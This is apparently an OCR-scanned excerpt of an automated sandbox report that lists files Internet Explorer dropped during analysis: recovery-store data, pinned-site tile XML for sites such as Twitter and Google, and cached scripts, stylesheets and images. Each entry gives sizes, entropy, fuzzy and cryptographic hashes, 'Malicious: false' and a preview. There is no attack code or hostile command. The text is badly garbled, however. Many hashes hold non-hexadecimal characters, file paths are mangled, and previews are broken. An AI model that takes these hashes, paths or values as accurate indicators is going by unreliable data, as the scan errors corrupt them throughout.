OFAE9C605C588B7D72D71868C648A1EB1C884A28AEC3C3D17F6E1BFICO1782AE
12EA8886315D8659E42556BBF1D05D10913EEDB406D71A63F5E7DD467C3A4815D68F597E433987739E4A4C22B615B3E5757681CE638218C7B0935A4DC0O9F0EGQ

false

<root><item name="HBCM_BIDS" value="{}" Itime="3814974336" htime="30926884" /><item name="maxbid" value="0.03" Itime="3823964336" htime="30926884" /><
item name="maxbidts" value="1638522317079" ltime="3823964336" htime="30926884" /></root>

C:\Users\luser\AppData\Local\Microsoft\internet Explorer\Recovery\High\Active\RecoveryStore.{1B276669-5418-11EC-90E9-ECF4BB862DED}.dat

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHA1:
SHA-256:
SHA-512:
Malicious:

Preview:

C:\Program Files\internet explorer\iexplore.exe

Composite Document File V2 Document, Cannot read section info

dropped

5120

2.0184422780258546

false
24:1VGo/Q2GDG//iGgxG/GgMJIZy9IWg8SotsWpcWpp:rVGo42gG/qRxgj4rq8SotsWpcWpp
193CDD30152DCA658B1CCA569E1DCE4F
57E55A6C8B3F1E064113DFCE79C22E04B5F1058F
CF98246B244AD82A4E8297C792ABB6C8B89906D8188232C057AF534CAEF73778
B6D939BCB419DB2AA433A03D4A32C3B2A78917D8F19F76C6E37133C65416BB65C42A42498E1FD409F310COEF2EB20C8BC934218684D75CD03A6F16E38038DB7

false

Kjj.a.q.fajN.2.c.0.u.z.g.v.1.l4.qy.5nfWe...... L ST
........ 0.....0._.T.S.am.Y.n.G.x.h.U.7.B.G.Q.6..2.0.u4.Y.t.7.Q

am.e.L.is.t

C:\Users\user\AppDatal\Local\Microsoft\internet Explorer\Recovery\High\Active\{1B27666B-5418-11EC-90E9-ECF4BB862DED}.dat

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHAL:
SHA-256:
SHA-512:

Malicious:

Preview:

C:\Program Files\internet explorer\iexplore.exe

Composite Document File V2 Document, Cannot read section info

dropped

332288

3.5936248772965644

false

3072:0Z/2BfcdmubkgTzGt0Z/2Bfc+mu5kgTzGtdZ/2Bfcdmubkg TzGtpZ/2Bfc+muSkn:nT/K
E631FEBBE3927966D9AD8013ADFA7ECC
D1889BDF74C6698F36CA20BC115511B1840515B0
0F1476F80B7526E14944C012DF7EDB6247F563905873B4FEAB4143F824BAC1AC

33DB7A1C5F5BCAE11FF5B19E099A9F3F65B9F495199C09B753F8E4F5236E26081FD4BC9A7687CA21BBE8FI666CFEOEBI8E393DFBEG672418F5CB810F61179DF
A

false

E.n.try. Kjj.aq.fajN.2.c0.u.zg.v.1l.l4.qy.5nfW.e
...... T AV BLL0.G i T a0l

C:\Users\user\AppDatal\Local\Microsoft\internet Explorer\Recovery\High\Active\{3067F59D-5418-11EC-90E9-ECF4BB862DED}.dat

Process:

C:\Program Files\internet explorer\iexplore.exe
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C:\Users\user\AppDatal\Local\Microsoft\internet Explorer\Recovery\High\Active\{3067F59D-5418-11EC-90E9-ECF4BB862DED}.dat

File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHA1L:
SHA-256:
SHA-512:

Malicious:

Preview:

Composite Document File V2 Document, Cannot read section info

dropped

4096

1.677499300718554

false
12:rl00XGFXXDrEgm8Gr76FWIXDrEgm8GD7qw9lpQA9dvIIsQOY9cC:rIG8WITG8CIlaAHIIr0Y2
4A4B3B6F94BE2D87461163D8ADC3772C
7E6AC03093BBODF006B4A89DEO4CD7E74218CA59
44863ADE48CC6E720AB54EB134DA192200ABBFD6C6F49EDOA1B0O7952A9946FDF

5099FECCDBFE15B77DEB71147554DB2795966959D42D098AEBFCOF76E757D93C8ED4010DB6AF1DD421A3E52F525F53D4D8725B1ADB88A73B131915069B4AD3
2

false

Kjj.agq.f.ajN.2.c.0u.z.g.v.1l.l4.qy.5nfW.e

C:\Users\luser\AppData\Local\Microsoft\Internet Explorer\Tiles\pin-17529550060\msapplication.xml

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHA1L:
SHA-256:
SHA-512:

Malicious:

Preview:

C:\Program Files\internet exploren\iexplore.exe

XML 1.0 document, ASCII text, with very long lines, with CRLF line terminators

dropped

355

5.152840884242818

false

6:TMVBdc9EMdLD5Ltqc41EHSw+3zcaTD90/QL3WIZKOQhPPWXpsVDHKEtMjwu: TMHANMNXOEmMnWimI00ObVbKEtMb
0E6893D44C931D5EF1059C9EOE6DEG08

33FDCA93E35E4A0356A7D20E7D75FDB810F4D965
E30F52FCA75421243BFFE46F47080B6E3B384C06C078637B8A329EBOGAFF8486

5979A139E9DD21CC6DFC760EEB802733E481675CF0679DEESEA2B2B4E48464C960BEC1E7C44F4E4B66C18ACIEC5660046AEB7BCF7FDOCBE9B22E2CDBOF24€
D1D

false

<?xml version="1.0" encoding="utf-8"?>..<browserconfig><msapplication><config><site src="http://www.twitter.com/"/><date>0xfa134d79,0x01d7e824</date><
accdate>0xfa51492b,0x01d7e824</accdate></config><tile><wide310x150logo/><square310x310logo/><square70x70logo/><favorite src="C:\Users\user\Favorites\T
witter.url"/></tile></msapplication></browserconfig>..

C:\Usersluser\AppData\Local\Microsoft\internet Explorer\Tiles\pin-18270793970\msapplication.xml

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHA1L:
SHA-256:
SHA-512:

Malicious:

Preview:

C:\Program Files\internet explorer\iexplore.exe

XML 1.0 document, ASCII text, with very long lines, with CRLF line terminators

dropped

353

5.154970987811847

false

6:TMVBdcOEMdLD5Ltqc4fLGTKES1GeaTDI0/QL3WIZKOQhPPWXpskISkUSEtMjwu: TMHANMNxe2kENjnWimI000bkak6EtMb
3D9B11740CAF4A0A68492F4D82E266A5

COAC69121B82FCC620AFB05B5324B9ACCBFEBFGD
F451050CE5A2EEB2EB24D8EB1563FC0OBC14B4470E51176DB401D7A7BC26C9D4C

FBBEBCEA8D7A178B273B52D53B366B4DE49CDIBE416959B9B77B2CAC67E621CC7A34E046B032484DA56EEBCB94CC125343CB8FF430B429F34F540A1CC1CAS
287

false

<?xml version="1.0" encoding="utf-8"?>..<browserconfig><msapplication><config><site src="http://www.amazon.com/"/><date>0xf7c87128,0x01d7e824</date><a
ccdate>0xf7e77025,0x01d7e824</accdate></config><tile><wide310x150logo/><square310x310logo/><square70x70logo/><favorite src="C:\Users\user\Favorites\Am
azon.url"/></tile></msapplication></browserconfig>..

C:\Users\user\AppDatal\Local\Microsoft\internet Explorer\Tiles\pin-21706820\msapplication.xml

Process:

File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHAL:
SHA-256:

C:\Program Files\internet explorer\iexplore.exe

XML 1.0 document, ASCII text, with very long lines, with CRLF line terminators

dropped

359

5.156528424550588

false

6:TMVBdc9EMALD5Ltqc4GLDB36ncaTD90/QL3WIZKOQhPPWXpsyhBcEEtMjwu: TMHANMNxvLAgFnWimI00ObmZEtMb
BI9CDAAC192245D58A80D5F61A7B30D1F

4CAF3FDBFCDFBE57D482BD3B71E8F28663420D11
2ED574FAFDCDYE914F29C43CD067951F3B13C6451AC7404EBDOC1BDD3B431B70
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C:\Users\user\AppDatal\Local\Microsoft\internet Explorer\Tiles\pin-21706820\msapplication.xml

SHA-512:

Malicious:

Preview:

C8ECO04F9IBA4EATCABOBO6COE34BAAFA417FDACF6B5B2DCF20D9FF0501AFSF59E24BD7EE9SEES97F769EDCA35A43CBDA069498114740DC8D07D11297740A218!
F4

false

<?xml version="1.0" encoding="utf-8"?>..<browserconfig><msapplication><config><site src="http://www.wikipedia.com/"/><date>0xfa776ed4,0x01d7e824</date>
<accdate>0xfad92ff7,0x01d7e824</accdate></config><tile><wide310x150logo/><square310x310logo/><square70x70logo/><favorite src="C:\Users\user\Favorites
\Wikipedia.url"/></tile></msapplication></browserconfig>..

C:\Users\luser\AppData\Local\Microsoft\internet Explorer\Tiles\pin-4759708130\msapplication.xml

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHA1L:
SHA-256:
SHA-512:
Malicious:

Preview:

C:\Program Files\internet exploren\iexplore.exe

XML 1.0 document, ASCII text, with very long lines, with CRLF line terminators

dropped

349

5.156066558058632

false

6:TMVBdc9EMdLD5Ltqc4IGvQVzgHaTD90/QL3WIZKOQhPPWXpsgESEtMjwu: TMHANMNXxIGQBNWimI000bd5EtMb
3D285B731A26DCB53DFF942EAFASCB6B

691D8CF7E91CBF5EAEESBCEGB59B7AF649D28B295
FEC6B7763DC7C5B84556D95E7228F7C5D24DFE5676D75D702953B3FESFDC510A
1B3CE93E92252AB6225964CE91266B41A5256803524B317946F724971B3C62DF37CCD291A2D7D649E7F715A7F38C7B3DC20F4481926 CCE4C8F4645B5960929C3

false

<?xml version="1.0" encoding="utf-8"?>..<browserconfig><msapplication><config><site src="http://www.live.com/"/><date>0xf89ca353,0x01d7e824</date><acc
date>0xf8d37bca,0x01d7e824</accdate></config><tile><wide310x150logo/><square310x310logo/><square70x70logo/><favorite src="C:\Users\user\Favorites\Live.url"/>
</tile></msapplication></browserconfig>..

C:\Users\luser\AppData\Local\Microsoft\Internet Explorer\Tiles\pin-6757900\msapplication.xml

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHA1L:
SHA-256:
SHA-512:

Malicious:

Preview:

C:\Program Files\internet explorer\iexplore.exe

XML 1.0 document, ASCII text, with very long lines, with CRLF line terminators

dropped

355

5.151112421360693

false

6:TMVBdcOEMdLD5Ltqc4UxGwrVSJhvaTD90/QL3WIZKOQhPPWXps8KOQUSEtMjwu: TMHANMNXhGwZmYnWiml00Ob8K075EtMb
FFO6516FAF67C5212693E437A809057A

C237772E78992BC2141AC6950498E580ACOBAACS
87064472F5767C30FC1EE89DFFB729654BB45D5040243DC9DA0CCFD56830EDEYS

9863BAD20DDC7B7AEB2C9B5956EF3B9006D9D14604FA5A2E6774376FBOA4D0OCIAG42948B5521D7CB9345B0BCC1A9F900A9FEE720899FD0O5E5924BE9AQG540EI
2

false

<?xml version="1.0" encoding="utf-8"?>..<browserconfig><msapplication><config><site src="http://www.youtube.com/"/><date>0xfaf82e18,0x01d7e824</date><
accdate>0xfb172eal,0x01d7e824</accdate></config><tile><wide310x150logo/><square310x310logo/><square70x70logo/><favorite src="C:\Users\user\Favorites\Y
outube.url"/></tile></msapplication></browserconfig>..

C:\Users\luser\AppData\Local\Microsoft\internet Explorer\Tiles\pin-8760897390\msapplication.xml

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHAL:
SHA-256:
SHA-512:
Malicious:

Preview:

C:\Program Files\internet explorer\iexplore.exe

XML 1.0 document, ASCII text, with very long lines, with CRLF line terminators

dropped

353

5.162429416962111

false

6:TMVBdcOEMALD5Ltqc4Qun9JOB39+3aTD90/QL3WIZKOQhPPWXpsAKEtMjwu: TMHANMNXxOnrOB4gnWiml00ObxEtMb
8AA650C3B810B4A76CCI8A419ABCA754

0A73FEB3C25B207B20F189D68D99CDCFEE3BC382
C5D9F57B030B51CED1E02D6CB274221924DF5850376FED9FC64CE7D09B8C18AE
2104925431BD60095E6A8E579AC9737E906BDB8C3ESFA34CAD66CALABDB6363E5D7622C1A12BEC11A8167C522309CD9ESC1F45B3193673CA6B382367E59503C

false

<?xml version="1.0" encoding="utf-8"?>..<browserconfig><msapplication><config><site src="http://www.reddit.com/"/><date>0xf999b48f,0x01d7e824</date><accdate>0xf
9c701d6,0x01d7e824</accdate></config><tile><wide310x150logo/><square310x310logo/><square70x70logo/><favorite src="C:\Users\user\Favorites\Reddit.url"/></tile>
</msapplication></browserconfig>..

C:\Users\user\AppDatal\Local\Microsoft\internet Explorer\Tiles\pin20259167780\msapplication.xml

Process:
File Type:
Category:
Size (bytes):

C:\Program Files\internet explorer\iexplore.exe

XML 1.0 document, ASCII text, with very long lines, with CRLF line terminators
dropped

355
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C:\Users\user\AppDatal\Local\Microsoft\internet Explorer\Tiles\pin20259167780\msapplication.xml

Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHA1L:
SHA-256:
SHA-512:

Malicious:

Preview:

5.2205551272326325

false

6:TMVBdc9EMdLD5Ltqc40TGMTESO1aTD90/QL3WIZKOQhPPWXps6Kg5EtMjwu: TMHANMNXXXE+nWimI000b6Kg5EtMb
EF694C352C33CA5CFD305B5F2B80A57E

4EA9DBCEFCFOF3D41C3F1CF85BF5B92B792332C8
AB3FAABE7D53E72DFA1DC88C3E1CD96615663C4D7DB24D8A9E7DEODB2611BB53

9F5E119DAB52036CC40B37A17C2CCE8FCC31DD3AFFBE954DD8A0213C607803B3F76C6E07F268FBDDF7B6A2EEDBDE3ACC79A79E643750B10BEDB81A7BYA3C
39CB

false

<?xml version="1.0" encoding="utf-8"?>..<browserconfig><msapplication><config><site src="http://www.nytimes.com/"/><date>0xf8f276dc,0x01d7e824</date><
accdate>0xf946423b,0x01d7e824</accdate></config><tile><wide310x150logo/><square310x310logo/><square70x70logo/><favorite src="C:\Users\user\Favorites\N
YTimes.url"/></tile></msapplication></browserconfig>..

C:\Users\luser\AppData\Local\Microsoft\Internet Explorer\Tiles\pin20332743330\msapplication.xml

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHA1L:
SHA-256:
SHA-512:

Malicious:

Preview:

C:\Program Files\internet explorer\iexplore.exe

XML 1.0 document, ASCII text, with very long lines, with CRLF line terminators

dropped

357

5.149461992573317

false

6:TMVBdc9EMdALD5Ltqc4YX2nGPzGdJVU1aTD90/QL3WIZKOQhPPWXps02CqEtMjwu: TMHANMNxcd5HNWimIO0ObVEtMb
72AD68C48FA05086F911F7F3433BCDB8

A1F4A23A9C3F8735836CB5AES34A50AF5606CF5F
FEO3FFEE02138673A9A61B09EB3630E40C250725E6B98F33C7D5B7ELD6BD1BCE

1403E30B71ED1913736CF5090367FBB54C841CBC9BB56A4FF6F90635DDD55F88D07A4CFE2B7B1DC72552DBCCA09728D2422A51E27EC26DF06D5DEDGCC650B
C

false

<?xml version="1.0" encoding="utf-8"?>..<browserconfig><msapplication><config><site src="http://www.facebook.com/"/><date>0xf8040d47,0x01d7e824</date>
<accdate>0xf8230a72,0x01d7e824</accdate></config><tile><wide310x150logo/><square310x310logo/><square 70x70logo/><favorite src="C:\Users\user\Favorites\
Facebook.url"/></tile></msapplication></browserconfig>..

C:\Users\luser\AppDatal\Local\Microsoft\internet Explorer\Tiles\pin8215062560\msapplication.xml

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHA1L:
SHA-256:
SHA-512:
Malicious:

Preview:

C:\Program Files\internet explorer\iexplore.exe

XML 1.0 document, ASCII text, with very long lines, with CRLF line terminators

dropped

353

5.13725145075394

false

6:TMVBdc9EMdLD5Ltgc4InGjczY 7eaTD90/QL3WIZKOQhPPWXpsiwESEtMjwu: TMHANMNXxfnULjnWimI000be5EtMb
3E2143D25282A3B1902FF9A0F2584500

607012A97BDC5DE2D54DA8C3E91780D627A05A8A
A02806F2C765B89A90BD117A4D998495C93E6119B157CF5EASA7A140B5A0CDF3
69CCB7FEF2349A79FCC871FBF34475B7D052021D1B95946F61B1D08CA74CABDBIF96C8F1064E615861150A0892256856160D8A6118467933F58B3A9FB110FFAA

false

<?xml version="1.0" encoding="utf-8"?>..<browserconfig><msapplication><config><site src="http://www.google.com/"/><date>0xf84208e7,0x01d7e824</date><a
ccdate>0xf86107f1,0x01d7e824</accdate></config><tile><wide310x150logo/><square310x310logo/><square70x70logo/><favorite src="C:\Users\user\Favorites\Go
ogle.url"/></tile></msapplication></browserconfig>..

C:\Users\user\AppDatal\Local\Microsoft\internet Explorerlimagestorelynfz0jx\imagestore.dat

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHAL:
SHA-256:
SHA-512:

Malicious:

C:\Program Files (x86)\Internet Explorer\iexplore.exe

data

dropped

23586

4.421241839333696

false
96:YvIJct+6QQQQQANIKICzS29dcBUXgLOKE1PIWDZzXizS29dcBUXqY:YvI6tindgzSAcBIKESczyzSAcBy
9AD993C89BDDE220CCB012FEF4754497

C80CFC8FD9EF020007AC4A2C6A9DB52328690B15
6495AD434290FBB1CA4852CF11C88A6413CA87AAEAAOE3A4C85D7A6F2FC985D5
754822AA0B56DF19394EE808CBOF1AB06430ED55C6020BFE44F2D970418FBCA81A2B1B7D24496E7164E0D555B159B35C090013228B6E2B9A2DB3CB72A4A2F0B

false
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C:\Users\user\AppDatal\Local\Microsoft\internet Explorerlimagestorelynfz0Ojx\imagestore.dat

Preview:

chittpess//waw.w...g.0.0.g.l.e...c.om./fa.v.i.c.0.N...I.C.O.~.occiinn . h..... (eree e e 0
.0.X.S.4.54.54.54.S4S4. X.....ccece.......0
...B..B..B.B..B...u.....

C:\Users\luser\AppData\Local\Microsoft\Windows\INetCache\lE\OW10PBUV\17-361657-68ddb2ab[1].js

Process: C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type: ASCII text, with very long lines, with no line terminators
Category: dropped

Size (bytes): 1238

Entropy (8bit):  5.066474690445609

Encrypted: false

SSDEEP: 24:HWwAaHZRRIYfOeXPmMHUKg6GGigllQCQ6cQflgKioUInJagzrQJ:HWwAabuYfO8HTqOxB6XfyNoUiJaD

MDS5: 7ADA9104CCDE3FDFB92233C8D389C582

SHA1L: 4E5BA29703A7329EC3B63192DE30451272348E0D

SHA-256: F2945E416DDD2A188D0E64D44332F349B56C49AC13036B0B4FCI46A2EBF87D99

SHA-512: 2967FBCE4E1C6A69058FDE4C3DC2E269557F7FAD71146F3CCD6FC9085A439B7D067D5D1F8BD2C7ECI9124B7E760FBC7F25F30DF21F9B3F61D1443EC3C214E3F
F

Malicious: false

Preview:

define("meOffice",["jquery”,"jgBehavior","mediator”,"refreshModules","headData", "webStorage","window"],function(n,t,i,r,u,f,e){function o(t,o){function v(n){var r=e.local
Storage,i,t,u;if(r&&r.deferLoadedltems)for(i=r.deferLoadedltems.split(","),t=0,u=i.length;t<u;t++)if(i[t] &&i[t].indexOf(n)!==-1){f.removeltem(i[t]);break}}function a(){var i=t.find
("section li time");i.each(function(){var t=new Date(n(this).attr("datetime"));t&&n(this).html(t.toLocaleString())})}unction p(){c=t.find("[data-module-id]").eq(0);c.length&&(h=c.
data("moduleld"),h&&(I="moduleRefreshed-"+h,i.sub(l,a)))}function y(){i.unsub(o.eventName,y);r(s).done(function(){a();p()})}var s,c,h,l;return u.signedin||(t.hasClass("of
fice")?v("meOffice"):t.hasClass("onenote")&&v("meOneNote")) {setup:function(){s=t.find("[data-module-deferred-hover], [data-module-deferred]").not("[data-sso-de
pendent]");s.length&&s.data("module-deferred-hover")&&s.html("<p class="meloading'><\/p>");i.sub(o.eventName,y)} teardown:function(){h&&i.un

C:\Users\luser\AppData\Local\Microsoft\Windows\INetCachellE\OW10PBUV\2d-0e97d4-185735b[1].css

Process: C:\Program Files (x86)\Internet Explorer\iexplore.exe

File Type: UTF-8 Unicode text, with very long lines, with CRLF, LF line terminators

Category: dropped

Size (bytes): 251398

Entropy (8bit):  5.2940351809352855

Encrypted: false

SSDEEP: 3072:FaPMULTAHEKM8OUdvUVJIZkrqq7pjD4tQH: FaOULTAHLOUdvwZkrqq7pjDAtQH

MD5: 24D71CC2CC17F9EOF7167D724347DBA4

SHA1L: 4188B4EE11CFDC8EAOSE7DA7F475F6A464951E27

SHA-256: 4EF29E187222C5E2960E1E265C87AA7DA7268408C3383CC3274D97127F389B22

SHA-512: 43CF44624EF76F5B83DE10A2FB1C27608A290BC21BF023A1BFDB77B2EBB4964805C8683F82815045668A3ECCF2F16A4D7948C1C5AC526AC71760F50C82AADEZ
B

Malicious: false

Preview:

/*1 Error: C:/a/_work/1/s/Statics/WebCore.Statics/Css/Modules/ExternalContentModule/Uplevel/Base/externalContentModule.scss(207,3): run-time error CSS1062: Expe
cted semicolon or closing curly-brace, found ‘@include.multiLineTruncation' */....@charset "UTF-8";div.adcontainer iframe[width="1"[{display:none}span.nativead{font-weigh
:600;font-size:1.1rem;line-height:1.364}div:not(.ip) span.nativead{color:#333}.todaymodule .smalla span.nativead,.todaystripe .smalla span.nativead{bottom:2rem
;display:block;position:absolute}.todaymodule .smalla a.nativead title,.todaystripe .smalla a.nativead .title{max-height:4.7rem}.todaymodule .smalla a.nativead .caption,
.todaystripe .smalla a.nativead .caption{padding:0;position:relative;margin-left:11.2rem}.todaymodule .mediuma span.nativead,.todaystripe .mediuma span.nativead
{bottom:1.3rem}.ip a.nativead span:not(.title):not(.adslabel),.mip a.nativead span:not(.title):not(.adslabel){display:block;vertical-align:top;color:#a0a0a0}.ip a.nativead
.captio

C:\Users\user\AppDatal\Local\Microsoft\Windows\INetCache\lIE\OW10PBUV\52-478955-68ddb2ab[1].js

Process: C:\Program Files (x86)\Internet Explorer\iexplore.exe

File Type: UTF-8 Unicode text, with very long lines

Category: dropped

Size (bytes): 396900

Entropy (8bit):  5.314138504283414

Encrypted: false

SSDEEP: 6144:WXPIM/WSg/5rs1JuKbaKAuPmqqljHSjasCr1BgxO0DKVAFcjtiuNK: YW/ figljHdI16tbcjut
MD5: 635C7C1B8FOA7A5B28EECA13824ABA3C

SHAL: 84340599D2873DCCED885061C40C89DE26228F3A

SHA-256: C1478CDAFDCALFC46CF5BC326FD291913C4922D53D97291612F9243626950FBF
SHA-512: 8B65EBEE5CC15558654151B73B5610126A4AF19DF20EE7DD80FOAC3A46089487F846114C3336F9A457D6545A900EC24CDD6B7752E990FAF3A78BF7C269ADBF6
Malicious: false

Preview:

var Perf,globalLeft, Gemini, Telemetry,utils,data, MSANTracker,deferredCanary,g_ashsC,g_hsSetup,canary;window._perfMarker&&window._perfMarker("TimeToJsBu
ndleExecutionStart");define("jgBehavior",["jquery","viewport"],function(n){return function(t,i,r){function u(n){var t=n.length;return t>1?function(){for(var i=0;i<t;i++)n[i]()}:t?n
[O]:fHunction f(){}if(typeof t!="function")throw"Behavior constructor must be a function";if(i&&typeof i'="object")throw"Defaults must be an object or null";if(r&&typeof
ri="object")throw"Exclude must be an object or null*;return r=r||{},function(f,e,o){function c(n){n&&(typeof n.setup=="function"&&I.push(n.setup),typeof n.teardown=="fun
ction"&&a.push(n.teardown),typeof n.update=="function"&&v.push(n.update))}var h;if(o&&typeof o!="object")throw"Options must be an object or null*;var s=n.extend(!0,
{}.i,0),I=[1,a=[],v=[],y="0;if(r.query){if(typeof fl="string")throw"Selector must be a string";c(i(f,s))}else h=n(f,e),r.each?c(t(h,s)):(y=h.length>0,h.each(function(
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C:\Users\user\AppDatal\Local\Microsoft\Windows\INetCachellE\OW10PBUV\55a804ab-e5c6-4b97-9319-86263d365d28[1].json

Process: C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type: ASCII text, with very long lines, with no line terminators
Category: dropped

Size (bytes): 3278

Entropy (8bit):  4.87966793369991

Encrypted: false

SSDEEP: 96:0y9Dwb40zrvdip5GKZabAyYs9vixWCKTS2jQt4ZaX:zqlipc6vxLCSChZaX

MDS5: 073E1A67C16B7E2BOF240F20BAC53174

SHA1L: 778663FBA0201814BE193EB38E4F9D8875F322ED

SHA-256: 886E0D5D43DFB17D92EB8C5C80AB0671EDIDE247EC4ADID71B358F32F7613287

SHA-512: 97FA869A8BEB50E759BDB5AAAOES50B787358CC4EED55796F6B51D1AFD5B6B25CF7A6FAC5FCD67AA9588876F208D40449ED94886046177B6FEAA083743B016¢
6

Malicious: false

Preview:

{"CookieSPAEnabled":false,"MultiVariantTestingEnabled":false,"UseV2":true,"Mobile SDK":false,"SkipGeolocation":true,"ScriptType":"LOCAL","Version":"6.4.0","Optan
onDataJSON":"55a804ab-e5c6-4b97-9319-86263d365d28","GeolocationUrl":"https://geolocation.onetrust.com/cookieconsentpub/v1/geo/location”,"RuleSet":[{"Id":"6f0cca
92-2dda-4588-a757-0e009f333603","Name":"Global","Countries™:["pr","ps","pw","py","qa","ad","ae","af","ag","ai","al","am","a0","aq","ar","as","au","aw","az","ba", "bb","rs"
Sbd,ru,"bf","rw,"bh,"bi","bj","bI","bm","bn","bo","sa","bg","sh","sc","br","bs","sd", "bt","sg","bv", "sh","bw","by","sj","bz","sI","sn","s0","ca", "sr","ss","cc","st","cd","sv","cf","cg"
J'sx"ch”,"sy","ci","sz","ck","cl","em™,"cn", "co", "tc", "er, "td", "cu”, "t Mg, ev”, "t few, e, Tk M, tm i, ro ™, e, e v, w2, "dm !, "d o, "ua”, "ug”, "d Z", "um"

""ec","eg", "eh" ,"uy","uz","va","er","vc","et”,"ve","vg","vi" 'vn" ,"vu","fj","fk","fm","fo" s "Wf","ga","gb" ,"ws" ,"gd" ,"ge","gg"

C:\Users\luser\AppData\Local\Microsoft\Windows\INetCache\lE\OW10PBUV\AAKp8YX[1].png

Process: C:\Program Files (x86)\Internet Explorer\iexplore.exe

File Type: PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced

Category: dropped

Size (bytes): 497

Entropy (8bit):  7.3622228747283405

Encrypted: false

SSDEEP: 12:6v/7YBQ24PosfCOy6itR+xmWHsdAmbDw/9uTomxQK:rBQ24LgOyJtR+xTHs+jUx9

MD5: CD651A0EDF20BE87F85DB1216A6D96ES

SHA1L: A8C281820E066796DA45E78CE43C5DD17802869C

SHA-256: F1C5921D7FF944FB34B4864249A32142F97C29F181E068A919C4D67D89B90475

SHA-512: 9E9400B2475A7BA32D538912C11A658C27E3105D40E0DE023CA8046656BD62DDB7435F8CB667F453248ADDCB237DAEAA94F99CA2D44C35F8BB085F3E005929E
D

Malicious: false

Preview:
PNG........ IHDR.......0ccos a...pHYs.......... +.....IDATX..S=K.A}{...3E..X....."..S.Ak.l.....X..0.FTD,....&D...3........ AofBodo Pu i PLLY ~L8L KL (120 E.
"$.AGAF... ~l..L<7A{G....W.(Eei.1rq...K...c.@.d..2zG..|.2.B.)... . T+4. X P..V A..1./6.zL .dt. .pm.X..Pl.4.{.Y.3n0(..<\.7T.... U..G..,a.N.b.t

C:\Users\luser\AppDatal\Local\Microsoft\Windows\INetCache\lE\OW10PBUV\AAQCgDb[1].jpg

Process: C:\Program Files (x86)\Internet Explorer\iexplore.exe

File Type: JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 622x368, frames 3

Category: dropped

Size (bytes): 36113

Entropy (8bit):  7.906769801243059

Encrypted: false

SSDEEP: 768:1ee/a8zxIXKWEp9v5yW1WSH1x6S4zFFnh2S96LL2iT:IRCsp/94nSHj8zFFnh2S9KLFT

MD5: 7TEB2C6AFF772712CB5C5430050503581

SHA1L: E80334CA32FF05AD16B7D8E322200F8DFIBBES6D

SHA-256: C7FC141B8CB74F3BE9EDFC961162EF4A52EDDDOEC8068DAD4B197E9EO00C6858

SHA-512: 90898FDBEBA87CC879ADA6194B5B83BAE64BF0114C3F3EFC3A0F8D3DF73287D30EE69BB6A0C2FB6D53C639062114073730C7FF1AFB94989601786B4E220A705
E

Malicious: false

Preview:

0.b.).)b.0.1.1LA.&)..LB)..2....1q@....R.qLa.p.\P....(.....p..8.CA.;....1....)..(€1.R.)...Hp....(.....&! .LP.LSB.b.@.
.C@...4.LLIb.h(..4..S@4.&(1LB.@...&).1....&..b.LP.m. +@.L..n(1@.E.&(G...(.4 ..).11LA. 1LA..LS.....).11L.IA\P..C.P.......... &......;. P(CB...NR..(.R.)L....".hp.
(b (h.(.LMLB.S..1.P..@4%....7.&(. A

C:\Users\user\AppDatal\Local\Microsoft\Windows\INetCache\lIE\OW10PBUV\AARKL8h[1].jpg

Process: C:\Program Files (x86)\Internet Explorer\iexplore.exe

File Type: JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 206x250, frames 3
Category: dropped

Size (bytes): 9123

Entropy (8bit): 7.913864579468599
Encrypted: false
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C:\Users\user\AppDatal\Local\Microsoft\Windows\INetCache\lIE\OW10PBUV\AARKL8h[1].jpg

SSDEEP: 192:QoLz6er02KZU5SQ6lw554KoxySuYhQ8DeR+cdiA9q7/e:bn6pZUT6lw+1uYi8yochp

MDS5: 578B116678B72272439230A0C549BFC6

SHA1L: 8BE6GEBA2A519A70ABICCA1BDA753C4CB8DA01DE9

SHA-256: CAC42425E1B679517E84258E10633CA542A9AB1C6511F547B0A4A45372824E2D

SHA-512: F53886EE798F50C35184133DE55493FF83842C515BDB96574FD72A57592528B84BC283369E12EF8BFID78B1F7E80D9C1B284CB08D221ECF142DE496C8800B72E
Malicious: false

Preview:

.)10.)-,3:J>36F7,-@WAFLNRSR2>ZaZP"JQRO....... &..&05-50000000000000000000000O000OO0OO0O0000

C:\Users\luser\AppData\Local\Microsoft\Windows\INetCache\lE\OW10PBUV\AARIOhy[1].jpg

Process: C:\Program Files (x86)\Internet Explorer\iexplore.exe

File Type: JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 100x75, frames 3

Category: dropped

Size (bytes): 3256

Entropy (8bit): 7.8663108680757885

Encrypted: false

SSDEEP: 48:QfAUETANIspRjqf01fg9c1BYE09IMxXO0F/bjc44gKCGCK1+sBUsKSXMITKE+ON:Qf7EBjk2QcE+09444gKPTMsBUtu9xN

MDS5: A16117A702AA2CC7125970EA7171DB1E

SHAL: 9557FB5F76D277E72F18B2238E83B8DB03B13C80

SHA-256: B21617317A24495B6DE7B6F7F63D76F6D04F57338A2F92A231B93FC194425CF4

